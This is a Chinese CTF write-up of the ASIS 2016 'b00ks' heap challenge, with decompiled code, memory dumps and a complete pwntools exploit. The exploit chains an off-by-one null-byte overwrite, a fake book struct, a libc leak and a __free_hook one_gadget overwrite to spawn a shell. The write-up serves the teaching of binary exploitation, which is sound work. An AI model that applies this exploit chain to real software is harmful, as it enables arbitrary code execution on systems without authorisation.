這程序是一個圖書管理系統 #off-by-onelinux
程序邏輯git
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 struct _IO_FILE *v3; // rdi 4 __int64 savedregs; // [rsp+20h] [rbp+0h] 5 6 setvbuf(stdout, 0LL, 2, 0LL); 7 v3 = stdin; 8 setvbuf(stdin, 0LL, 1, 0LL); 9 hello(); 10 input_name(); 11 while ( (unsigned int)sub_A89(v3) != 6 ) 12 { 13 switch ( (unsigned int)&savedregs ) 14 { 15 case 1u: 16 create(v3); 17 break; 18 case 2u: 19 delete(v3); 20 break; 21 case 3u: 22 edit(v3); 23 break; 24 case 4u: 25 print(v3); 26 break; 27 case 5u: 28 input_name(); 29 break; 30 default: 31 v3 = (struct _IO_FILE *)"Wrong option"; 32 puts("Wrong option"); 33 break; 34 } 35 } 36 puts("Thanks to use our library software"); 37 return 0LL; 38 }
create後建立book結構體github
1 book = malloc(0x20uLL); 2 if ( book ) 3 { 4 *((_DWORD *)book + 6) = size; 5 *((_QWORD *)off_202010 + v2) = book; 6 *((_QWORD *)book + 2) = description; 7 *((_QWORD *)book + 1) = name; 8 *(_DWORD *)book = ++unk_202024; 9 return 0LL; 10 }
1 stuct book{ 2 int id; 3 char *name; 4 char *description; 5 int size; 6 }
author_name偏移: 0x202040函數
book結構體指針偏移: 0x202060spa
讀取author_name的函數有off by one漏洞,讀取32字節3d
最後的NULL字節能夠覆蓋掉第一個book結構體指針的最低字節指針
1 signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2) 2 { 3 int i; // [rsp+14h] [rbp-Ch] 4 _BYTE *buf; // [rsp+18h] [rbp-8h] 5 6 if ( a2 <= 0 ) 7 return 0LL; 8 buf = a1; 9 for ( i = 0; ; ++i ) 10 { 11 if ( (unsigned int)read(0, buf, 1uLL) != 1 ) 12 return 1LL; 13 if ( *buf == 10 ) 14 break; 15 ++buf; 16 if ( i == a2 ) 17 break; 18 } 19 *buf = 0; //最後加了一個\x00字節,形成off by one 20 return 0LL; 21 }
內存初始分佈code
1 0x555555756040: 0x6161616161616161 0x6161616161616161 2 0x555555756050: 0x6161616161616161 0x6161616161616161 <== author name 3 0x555555756060: 0x0000555555757480 <== pointer array 0x0000000000000000 4 0x555555756070: 0x0000000000000000 0x0000000000000000 5 0x555555756080: 0x0000000000000000 0x0000000000000000
NULL覆蓋後blog
1 0x555555756040: 0x6161616161616161 0x6161616161616161 2 0x555555756050: 0x6161616161616161 0x6161616161616161 <== author name 3 0x555555756060: 0x0000555555757400 <== pointer array 0x0000000000000000 4 0x555555756070: 0x0000000000000000 0x0000000000000000 5 0x555555756080: 0x0000000000000000 0x0000000000000000
利用思路ip
爲了實現泄漏,首先在 author_name 中須要輸入 32 個字節來使得結束符被覆蓋掉。以後咱們建立 book1 ,這個 book1 的指針會覆蓋 author name 中最後的 NULL 字節,使得該指針與 author name 直接鏈接,這樣輸出 author name 則能夠獲取到一個堆指針。
程序中一樣提供了一種 change 功能, change 功能用於修改 author name ,因此經過 change 能夠寫入 author name ,利用 off-by-one 覆蓋 pointer array 第一個項的低字節。
覆蓋掉 book1 指針的低字節後,這個指針會指向 book1 的 description ,因爲程序提供了 edit 功能能夠任意修改 description 中的內容。咱們能夠提早在 description 中佈置數據僞形成一個 book 結構,這個 book 結構的 description 和 name 指針能夠由直接控制。
可是這個題目特殊之處在於開啓 PIE 而且沒有泄漏 libc 基地址的方法,所以咱們還須要想一下其餘的辦法。
這道題的巧妙之處在於在分配第二個 book 時,使用一個很大的尺寸,使得堆以 mmap 模式進行拓展。咱們知道堆有兩種拓展方式一種是 brk 會直接拓展原來的堆,另外一種是 mmap 會單獨映射一塊內存。
在這裏咱們申請一個超大的塊,來使用 mmap 擴展內存。由於 mmap 分配的內存與 libc 以前存在固定的偏移所以能夠推算出 libc 的基地址。(寫個demo試驗下,vmmap查看)
exploit
1 from pwn import * 2 context.log_level="info" 3 4 binary = ELF("b00ks") 5 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 6 io = process("./b00ks") 7 8 9 def createbook(name_size, name, des_size, des): 10 io.readuntil("> ") 11 io.sendline("1") 12 io.readuntil(": ") 13 io.sendline(str(name_size)) 14 io.readuntil(": ") 15 io.sendline(name) 16 io.readuntil(": ") 17 io.sendline(str(des_size)) 18 io.readuntil(": ") 19 io.sendline(des) 20 21 def printbook(id): 22 io.readuntil("> ") 23 io.sendline("4") 24 io.readuntil(": ") 25 for i in range(id): 26 book_id = int(io.readline()[:-1]) 27 io.readuntil(": ") 28 book_name = io.readline()[:-1] 29 io.readuntil(": ") 30 book_des = io.readline()[:-1] 31 io.readuntil(": ") 32 book_author = io.readline()[:-1] 33 return book_id, book_name, book_des, book_author 34 35 def createname(name): 36 io.readuntil("name: ") 37 io.sendline(name) 38 39 def changename(name): 40 io.readuntil("> ") 41 io.sendline("5") 42 io.readuntil(": ") 43 io.sendline(name) 44 45 def editbook(book_id, new_des): 46 io.readuntil("> ") 47 io.sendline("3") 48 io.readuntil(": ") 49 io.writeline(str(book_id)) 50 io.readuntil(": ") 51 io.sendline(new_des) 52 53 def deletebook(book_id): 54 io.readuntil("> ") 55 io.sendline("2") 56 io.readuntil(": ") 57 io.sendline(str(book_id)) 58 59 createname("A" * 32) 60 createbook(0xd0, "a", 0x40, "a") #這裏要計算一下,使pointer_to_book1最低字節被\x00覆蓋後指向des 61 createbook(0x21000, "a", 0x21000, "b") 62 63 book_id_1, book_name, book_des, book_author = printbook(1) 64 book1_addr = u64(book_author[32:32+6].ljust(8,'\x00')) 65 log.success("book1_address:" + hex(book1_addr)) 66 67 payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff) #將book1_des僞形成book結構,name指向book2_name,des指向book2_des 68 editbook(book_id_1, payload) 69 changename("A" * 32) #pointer_to_book1=pointer_to_book1_des 70 71 book_id_1, book_name, book_des, book_author = printbook(1) #print(book1_des),此時book1_des爲僞造的book結構 72 book2_name_addr = u64(book_name.ljust(8,"\x00")) 73 book2_des_addr = u64(book_des.ljust(8,"\x00")) 74 log.success("book2 name addr:" + hex(book2_name_addr)) 75 log.success("book2 des addr:" + hex(book2_des_addr)) 76 libc_base = book2_name_addr - 0x5b0010 #固定偏移 77 log.success("libc base:" + hex(libc_base)) 78 79 free_hook = libc_base + libc.symbols["__free_hook"] 80 one_gadget = libc_base + 0x4526a # 0x4f2c5 0x10a38c 0x4f322 81 log.success("free_hook:" + hex(free_hook)) 82 log.success("one_gadget:" + hex(one_gadget)) 83 editbook(1, p64(free_hook) * 2) #將book2 des修改成free_hook地址 84 editbook(2, p64(one_gadget)) #將free_hook處修改成one_gadget地址 85 86 deletebook(2) 執行one_gadget 87 88 io.interactive()
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks